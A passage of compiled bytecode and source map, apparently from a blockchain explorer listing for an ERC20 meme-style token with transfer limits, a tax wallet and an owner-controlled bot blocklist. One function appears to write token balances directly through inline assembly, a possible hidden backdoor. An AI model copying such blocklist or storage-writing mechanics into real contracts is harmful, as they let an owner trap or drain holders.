ffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156121d6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121fa9190612d24565b8160018151811061220e5761220d612c98565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061227530601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846114a6565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016122d995949392919061349a565b600060405180830381600087803b1580156122f357600080fd5b505af1158015612307573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612391573d6000803e3d6000fd5b5050565b60008083036123a75760009050612409565b600082846123b59190612bea565b90508284826123c49190613523565b14612404576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123fb906135c6565b60405180910390fd5b809150505b92915050565b600061245183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612501565b905092915050565b60008082846124689190613308565b9050838110156124ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124a490613632565b60405180910390fd5b8091505092915050565b60006124f983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061204e565b905092915050565b60008083118290612548576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161253f91906125f4565b60405180910390fd5b50600083856125579190613523565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561259e578082015181840152602081019050612583565b60008484015250505050565b6000601f19601f8301169050919050565b60006125c682612564565b6125d0818561256f565b93506125e0818560208601612580565b6125e9816125aa565b840191505092915050565b6000602082019050818103600083015261260e81846125bb565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006126558261262a565b9050919050565b6126658161264a565b811461267057600080fd5b50565b6000813590506126828161265c565b92915050565b6000819050919050565b61269b81612688565b81146126a657600080fd5b50565b6000813590506126b881612692565b92915050565b600080604083850312156126d5576126d4612620565b5b60006126e385828601612673565b92505060206126f4858286016126a9565b9150509250929050565b60008115159050919050565b612713816126fe565b82525050565b600060208201905061272e600083018461270a565b92915050565b61273d81612688565b82525050565b60006020820190506127586000830184612734565b92915050565b60008060006060848603121561277757612776612620565b5b600061278586828701612673565b935050602061279686828701612673565b92505060406127a7868287016126a9565b9150509250925092565b600060ff82169050919050565b6127c7816127b1565b82525050565b60006020820190506127e260008301846127be565b92915050565b6000602082840312156127fe576127fd612620565b5b600061280c848285016126a9565b91505092915050565b60006020828403121561282b5761282a612620565b5b600061283984828501612673565b91505092915050565b61284b8161264a565b82525050565b60006020820190506128666000830184612842565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6128a9826125aa565b810181811067ffffffffffffffff821117156128c8576128c7612871565b5b80604052505050565b60006128db612616565b90506128e782826128a0565b919050565b600067ffffffffffffffff82111561290757612906612871565b5b602082029050602081019050919050565b600080fd5b600061293061292b846128ec565b6128d1565b9050808382526020820190506020840283018581111561295357612952612918565b5b835b8181101561297c57806129688882612673565b845260208401935050602081019050612955565b5050509392505050565b600082601f83011261299b5761299a61286c565b5b81356129ab84826020860161291d565b91505092915050565b6000602082840312156129ca576129c9612620565b5b600082013567ffffffffffffffff8111156129e8576129e7612625565b5b6129f484828501612986565b91505092915050565b60008060408385031215612a1457612a13612620565b5b6000612a2285828601612673565b9250506020612a3385828601612673565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115612ac357808604811115612a9f57612a9e612a3d565b5b6001851615612aae5780820291505b8081029050612abc85612a6c565b9450612a83565b94509492505050565b600082612adc5760019050612b98565b81612aea5760009050612b98565b8160018114612b005760028114612b0a57612b39565b6001915050612b98565b60ff841115612b1c57612b1b612a3d565b5b8360020a915084821115612b3357612b32612a3d565b5b50612b98565b5060208310610133831016604e8410600b8410161715612b6e5782820a905083811115612b6957612b68612a3d565b5b612b98565b612b7b8484846001612a79565b92509050818404811115612b9257612b91612a3d565b5b81810290505b9392505050565b6000612baa82612688565b9150612bb5836127b1565b9250612be27fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612acc565b905092915050565b6000612bf582612688565b9150612c0083612688565b9250828202612c0e81612688565b91508282048414831517612c2557612c24612a3d565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612c6260208361256f565b9150612c6d82612c2c565b602082019050919050565b60006020820190508181036000830152612c9181612c55565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000612cd282612688565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612d0457612d03612a3d565b5b600182019050919050565b600081519050612d1e8161265c565b92915050565b600060208284031215612d3a57612d39612620565b5b6000612d4884828501612d0f565b91505092915050565b6000604082019050612d666000830185612842565b612d736020830184612842565b9392505050565b6000819050919050565b6000819050919050565b6000612da9612da4612d9f84612d7a565b612d84565b612688565b9050919050565b612db981612d8e565b82525050565b600060c082019050612dd46000830189612842565b612de16020830188612734565b612dee6040830187612db0565b612dfb6060830186612db0565b612e086080830185612842565b612e1560a0830184612734565b979650505050505050565b600081519050612e2f81612692565b92915050565b600080600060608486031215612e4e57612e4d612620565b5b6000612e5c86828701612e20565b9350506020612e6d86828701612e20565b9250506040612e7e86828701612e20565b9150509250925092565b6000604082019050612e9d6000830185612842565b612eaa6020830184612734565b9392505050565b612eba816126fe565b8114612ec557600080fd5b50565b600081519050612ed781612eb1565b92915050565b600060208284031215612ef357612ef2612620565b5b6000612f0184828501612ec8565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612f6660248361256f565b9150612f7182612f0a565b604082019050919050565b60006020820190508181036000830152612f9581612f59565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612ff860228361256f565b915061300382612f9c565b604082019050919050565b6000602082019050818103600083015261302781612feb565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061308a60258361256f565b91506130958261302e565b604082019050919050565b600060208201905081810360008301526130b98161307d565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061311c60238361256f565b9150613127826130c0565b604082019050919050565b6000602082019050818103600083015261314b8161310f565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006131ae60298361256f565b91506131b982613152565b604082019050919050565b600060208201905081810360008301526131dd816131a1565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60008201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b600061326660498361256f565b9150613271826131e4565b606082019050919050565b6000602082019050818103600083015261329581613259565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b60006132d260198361256f565b91506132dd8261329c565b602082019050919050565b60006020820190508181036000830152613301816132c5565b9050919050565b600061331382612688565b915061331e83612688565b925082820190508082111561333657613335612a3d565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b6000613372601a8361256f565b915061337d8261333c565b602082019050919050565b600060208201905081810360008301526133a181613365565b9050919050565b60006133b382612688565b91506133be83612688565b92508282039050818111156133d6576133d5612a3d565b5b92915050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6134118161264a565b82525050565b60006134238383613408565b60208301905092915050565b6000602082019050919050565b6000613447826133dc565b61345181856133e7565b935061345c836133f8565b8060005b8381101561348d5781516134748882613417565b975061347f8361342f565b925050600181019050613460565b5085935050505092915050565b600060a0820190506134af6000830188612734565b6134bc6020830187612db0565b81810360408301526134ce818661343c565b90506134dd6060830185612842565b6134ea6080830184612734565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061352e82612688565b915061353983612688565b925082613549576135486134f4565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006135b060218361256f565b91506135bb82613554565b604082019050919050565b600060208201905081810360008301526135df816135a3565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061361c601b8361256f565b9150613627826135e6565b602082019050919050565b6000602082019050818103600083015261364b8161360f565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220fcbf536e9a0375ca9b9a2d48f5ca6900a26aef00899634fac49387643f5cd96b64736f6c63430008110033

Deployed Bytecode Sourcemap

4007:9229:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6068:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6906:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5241:54;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6348:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7076:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6256:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12489:348;;;;;;;;;;;;;:::i;:::-;;10329:360;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6452:117;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3084:148;;;;;;;;;;;;;:::i;:::-;;10698:196;;;;;;;;;;;;;:::i;:::-;;5044:57;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2868:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5108:59;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12240:202;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12028:203;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6160:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6578:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12846:387;;;;;;;;;;;;;:::i;:::-;;5174:60;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4408:39;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11004:788;;;;;;;;;;;;;:::i;:::-;;6754:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11801:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6068:83;6105:13;6138:5;;;;;;;;;;;;;;;;;6131:12;;6068:83;:::o;6906:161::-;6981:4;6998:39;7007:12;:10;:12::i;:::-;7021:7;7030:6;6998:8;:39::i;:::-;7055:4;7048:11;;6906:161;;;;:::o;5241:54::-;;;;:::o;6348:95::-;6401:7;4850:1;4908:2;:13;;;;:::i;:::-;4893:12;:28;;;;:::i;:::-;6421:14;;6348:95;:::o;7076:313::-;7174:4;7191:36;7201:6;7209:9;7220:6;7191:9;:36::i;:::-;7238:121;7247:6;7255:12;:10;:12::i;:::-;7269:89;7307:6;7269:89;;;;;;;;;;;;;;;;;:11;:19;7281:6;7269:19;;;;;;;;;;;;;;;:33;7289:12;:10;:12::i;:::-;7269:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;7238:8;:121::i;:::-;7377:4;7370:11;;7076:313;;;;;:::o;6256:83::-;6297:5;4850:1;6315:16;;6256:83;:::o;12489:348::-;12553:10;;;;;;;;;;;12539:24;;:12;:10;:12::i;:::-;:24;;;12531:33;;;;;;12575:20;12596:24;12614:4;12596:9;:24::i;:::-;12575:45;;12647:1;12634:12;:14;12631:73;;;12662:30;12679:12;12662:16;:30::i;:::-;12631:73;12714:18;12733:21;12714:40;;12779:1;12768:10;:12;12765:65;;;12794:24;12807:10;12794:12;:24::i;:::-;12765:65;12520:317;;12489:348::o;10329:360::-;10427:15;10421:22;10411:8;10408:36;10398:62;;10457:1;10454;10447:12;10398:62;10487:4;10481:11;10514:8;10509:3;10502:21;10556:12;10549:4;10544:3;10540:14;10533:36;10606:4;10601:3;10591:20;10634:6;10628:4;10621:20;10675:5;10658:15;10651:30;10397:285;;10329:360;:::o;6452:117::-;6518:7;6545;:16;6553:7;6545:16;;;;;;;;;;;;;;;;6538:23;;6452:117;;;:::o;3084:148::-;3006:12;:10;:12::i;:::-;2996:22;;:6;;;;;;;;;;:22;;;2988:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;3191:1:::1;3154:40;;3175:6;::::0;::::1;;;;;;;;3154:40;;;;;;;;;;;;3222:1;3205:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;3084:148::o:0;10698:196::-;3006:12;:10;:12::i;:::-;2996:22;;:6;;;;;;;;;;:22;;;2988:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;4850:1:::1;4908:2;:13;;;;:::i;:::-;4893:12;:28;;;;:::i;:::-;10751:12;:22;;;;4850:1;4908:2;:13;;;;:::i;:::-;4893:12;:28;;;;:::i;:::-;10784:14;:22;;;;10838:5;10817:20;;:26;;;;;;;;;;;;;;;;;;10859:27;4850:1;4908:2;:13;;;;:::i;:::-;4893:12;:28;;;;:::i;:::-;10859:27;;;;;;:::i;:::-;;;;;;;;10698:196::o:0;5044:57::-;;;;:::o;2868:79::-;2906:7;2933:6;;;;;;;;;;;2926:13;;2868:79;:::o;5108:59::-;;;;:::o;12240:202::-;3006:12;:10;:12::i;:::-;2996:22;;:6;;;;;;;;;;:22;;;2988:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12326:9:::1;12321:114;12345:9;:16;12341:1;:20;12321:114;;;12418:5;12383:18;:32;12402:9;12412:1;12402:12;;;;;;;;:::i;:::-;;;;;;;;12383:32;;;;;;;;;;;;;;;;:40;;;;;;;;;;;;;;;;;;12363:3;;;;;:::i;:::-;;;;12321:114;;;;12240:202:::0;:::o;12028:203::-;3006:12;:10;:12::i;:::-;2996:22;;:6;;;;;;;;;;:22;;;2988:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12116:9:::1;12111:113;12135:9;:16;12131:1;:20;12111:113;;;12208:4;12173:18;:32;12192:9;12202:1;12192:12;;;;;;;;:::i;:::-;;;;;;;;12173:32;;;;;;;;;;;;;;;;:39;;;;;;;;;;;;;;;;;;12153:3;;;;;:::i;:::-;;;;12111:113;;;;12028:203:::0;:::o;6160:87::-;6199:13;6232:7;;;;;;;;;;;;;;;;;6225:14;;6160:87;:::o;6578:167::-;6656:4;6673:42;6683:12;:10;:12::i;:::-;6697:9;6708:6;6673:9;:42::i;:::-;6733:4;6726:11;;6578:167;;;;:::o;12846:387::-;12917:10;;;;;;;;;;;12903:24;;:12;:10;:12::i;:::-;:24;;;12895:33;;;;;;12939:20;12960:24;12978:4;12960:9;:24::i;:::-;12939:45;;12999:11;;;;;;;;;;;12998:12;:30;;;;;13027:1;13014:12;:14;12998:30;12995:89;;;13042:30;13059:12;13042:16;:30::i;:::-;12995:89;13094:18;13113:21;13094:40;;13149:11;;;;;;;;;;;13148:12;:28;;;;;13175:1;13164:10;:12;13148:28;13145:81;;;13190:24;13203:10;13190:12;:24::i;:::-;13145:81;12884:349;;12846:387::o;5174:60::-;;;;:::o;4408:39::-;;;;;;;;;;;;;:::o;11004:788::-;11069:10;;;;;;;;;;;11055:24;;:12;:10;:12::i;:::-;:24;;;11047:33;;;;;;11095:11;;;;;;;;;;;11091:639;;11155:42;11118:15;;:80;;;;;;;;;;;;;;;;;;11209:58;11226:4;11241:15;;;;;;;;;;;4850:1;4908:2;:13;;;;:::i;:::-;4893:12;:28;;;;:::i;:::-;11209:8;:58::i;:::-;11312:15;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11294:55;;;11358:4;11365:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11294:94;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11278:13;;:110;;;;;;;;;;;;;;;;;;11399:15;;;;;;;;;;;:31;;;11438:21;11469:4;11475:24;11493:4;11475:9;:24::i;:::-;11500:1;11502;11504:7;:5;:7::i;:::-;11512:15;11399:129;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;11546:13;;;;;;;;;;;11539:29;;;11577:15;;;;;;;;;;;11595:14;11539:71;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;11659:4;11621:20;:35;11642:13;;;;;;;;;;;11621:35;;;;;;;;;;;;;;;;:42;;;;;;;;;;;;;;;;;;11688:4;11674:11;;:18;;;;;;;;;;;;;;;;;;11717:4;11703:11;;:18;;;;;;;;;;;;;;;;;;11722:7;;11091:639;11778:5;11756:20;11749:35;11004:788;:::o;6754:143::-;6835:7;6862:11;:18;6874:5;6862:18;;;;;;;;;;;;;;;:27;6881:7;6862:27;;;;;;;;;;;;;;;;6855:34;;6754:143;;;;:::o;11801:218::-;11876:10;;;;;;;;;;;11862:24;;:12;:10;:12::i;:::-;:24;;;11854:33;;;;;;11913:12;;11904:7;:21;;:47;;;;;11938:13;;11929:7;:22;;11904:47;11896:56;;;;;;11974:7;11961:12;:20;;;;12004:7;11990:13;:21;;;;11801:218;:::o;612:98::-;665:7;692:10;685:17;;612:98;:::o;7398:335::-;7508:1;7491:19;;:5;:19;;;7483:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7589:1;7570:21;;:7;:21;;;7562:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7671:6;7641:11;:18;7653:5;7641:18;;;;;;;;;;;;;;;:27;7660:7;7641:27;;;;;;;;;;;;;;;:36;;;;7709:7;7693:32;;7702:5;7693:32;;;7718:6;7693:32;;;;;;:::i;:::-;;;;;;;;7398:335;;;:::o;7742:1977::-;7846:1;7830:18;;:4;:18;;;7822:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7923:1;7909:16;;:2;:16;;;7901:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;7993:1;7984:6;:10;7976:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;8051:17;8093:7;:5;:7::i;:::-;8085:15;;:4;:15;;;;:32;;;;;8110:7;:5;:7::i;:::-;8104:13;;:2;:13;;;;8085:32;8081:1175;;;8146:35;8177:3;8146:26;8157:14;;8146:6;:10;;:26;;;;:::i;:::-;:30;;:35;;;;:::i;:::-;8134:47;;8203:20;;;;;;;;;;;8199:508;;;8264:15;;;;;;;;;;;8250:30;;:2;:30;;;;:62;;;;;8298:13;;;;;;;;;;;8284:28;;:2;:28;;;;8250:62;8246:444;;;8448:12;8375:28;:39;8404:9;8375:39;;;;;;;;;;;;;;;;:85;8339:250;;;;;;;;;;;;:::i;:::-;;;;;;;;;8656:12;8614:28;:39;8643:9;8614:39;;;;;;;;;;;;;;;:54;;;;8246:444;8199:508;8736:13;;;;;;;;;;;8728:21;;:4;:21;;;:55;;;;;8767:15;;;;;;;;;;;8753:30;;:2;:30;;;;8728:55;:83;;;;;8789:18;:22;8808:2;8789:22;;;;;;;;;;;;;;;;;;;;;;;;;8787:24;8728:83;:114;;;;;8816:20;:26;8837:4;8816:26;;;;;;;;;;;;;;;;;;;;;;;;;8815:27;8728:114;:143;;;;;8847:20;:24;8868:2;8847:24;;;;;;;;;;;;;;;;;;;;;;;;;8846:25;8728:143;8724:373;;;8911:12;;8901:6;:22;;8893:60;;;;;;;;;;;;:::i;:::-;;;;;;;;;9006:14;;8996:6;8980:13;8990:2;8980:9;:13::i;:::-;:22;;;;:::i;:::-;:40;;8972:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;9070:9;;:11;;;;;;;;;:::i;:::-;;;;;;8724:373;9123:13;;;;;;;;;;;9117:19;;:2;:19;;;:43;;;;;9155:4;9140:20;;:4;:20;;;;9117:43;9114:131;;;9193:36;9225:3;9193:27;9204:15;;9193:6;:10;;:27;;;;:::i;:::-;:31;;:36;;;;:::i;:::-;9181:48;;9114:131;8081:1175;9273:18;:22;9292:2;9273:22;;;;;;;;;;;;;;;;;;;;;;;;;:50;;;;9299:18;:24;9318:4;9299:24;;;;;;;;;;;;;;;;;;;;;;;;;9273:50;9269:96;;;9352:1;9340:13;;9269:96;9393:1;9381:9;:13;9378:163;;;9433:37;9460:9;9433:7;:22;9449:4;9433:22;;;;;;;;;;;;;;;;:26;;:37;;;;:::i;:::-;9410:7;:22;9426:4;9410:22;;;;;;;;;;;;;;;:60;;;;9513:4;9490:39;;9499:4;9490:39;;;9519:9;9490:39;;;;;;:::i;:::-;;;;;;;;9378:163;9568:25;9586:6;9568:7;:13;9576:4;9568:13;;;;;;;;;;;;;;;;:17;;:25;;;;:::i;:::-;9554:7;:13;9562:4;9554:13;;;;;;;;;;;;;;;:39;;;;9616:38;9632:21;9643:9;9632:6;:10;;:21;;;;:::i;:::-;9616:7;:11;9624:2;9616:11;;;;;;;;;;;;;;;;:15;;:38;;;;:::i;:::-;9604:7;:11;9612:2;9604:11;;;;;;;;;;;;;;;:50;;;;9685:2;9670:41;;9679:4;9670:41;;;9689:21;9700:9;9689:6;:10;;:21;;;;:::i;:::-;9670:41;;;;;;:::i;:::-;;;;;;;;7811:1908;7742:1977;;;:::o;1753:190::-;1839:7;1872:1;1867;:6;;1875:12;1859:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1899:9;1915:1;1911;:5;;;;:::i;:::-;1899:17;;1934:1;1927:8;;;1753:190;;;;;:::o;9838:483::-;5588:4;5579:6;;:13;;;;;;;;;;;;;;;;;;9916:21:::1;9954:1;9940:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9916:40;;9985:4;9967;9972:1;9967:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;10011:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10001:4;10006:1;10001:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;::::0;::::1;10044:62;10061:4;10076:15;;;;;;;;;;;10094:11;10044:8;:62::i;:::-;10117:15;;;;;;;;;;;:66;;;10198:11;10224:1;10240:4;10267;10287:15;10117:196;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;9905:416;5624:5:::0;5615:6;;:14;;;;;;;;;;;;;;;;;;9838:483;:::o;10903:92::-;10960:10;;;;;;;;;;;:19;;:27;10980:6;10960:27;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10903:92;:::o;1952:246::-;2010:7;2039:1;2034;:6;2030:47;;2064:1;2057:8;;;;2030:47;2087:9;2103:1;2099;:5;;;;:::i;:::-;2087:17;;2132:1;2127;2123;:5;;;;:::i;:::-;:10;2115:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;2189:1;2182:8;;;1952:246;;;;;:::o;2207:132::-;2265:7;2292:39;2296:1;2299;2292:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;2285:46;;2207:132;;;;:::o;1420:179::-;1478:7;1498:9;1514:1;1510;:5;;;;:::i;:::-;1498:17;;1539:1;1534;:6;;1526:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1590:1;1583:8;;;1420:179;;;;:::o;1608:136::-;1666:7;1693:43;1697:1;1700;1693:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1686:50;;1608:136;;;;:::o;2348:189::-;2434:7;2466:1;2462;:5;2469:12;2454:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2493:9;2509:1;2505;:5;;;;:::i;:::-;2493:17;;2528:1;2521:8;;;2348:189;;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1349:75::-;1382:6;1415:2;1409:9;1399:19;;1349:75;:::o;1430:117::-;1539:1;1536;1529:12;1553:117;1662:1;1659;1652:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:329::-;4912:6;4961:2;4949:9;4940:7;4936:23;4932:32;4929:119;;;4967:79;;:::i;:::-;4929:119;5087:1;5112:53;5157:7;5148:6;5137:9;5133:22;5112:53;:::i;:::-;5102:63;;5058:117;4853:329;;;;:::o;5188:::-;5247:6;5296:2;5284:9;5275:7;5271:23;5267:32;5264:119;;;5302:79;;:::i;:::-;5264:119;5422:1;5447:53;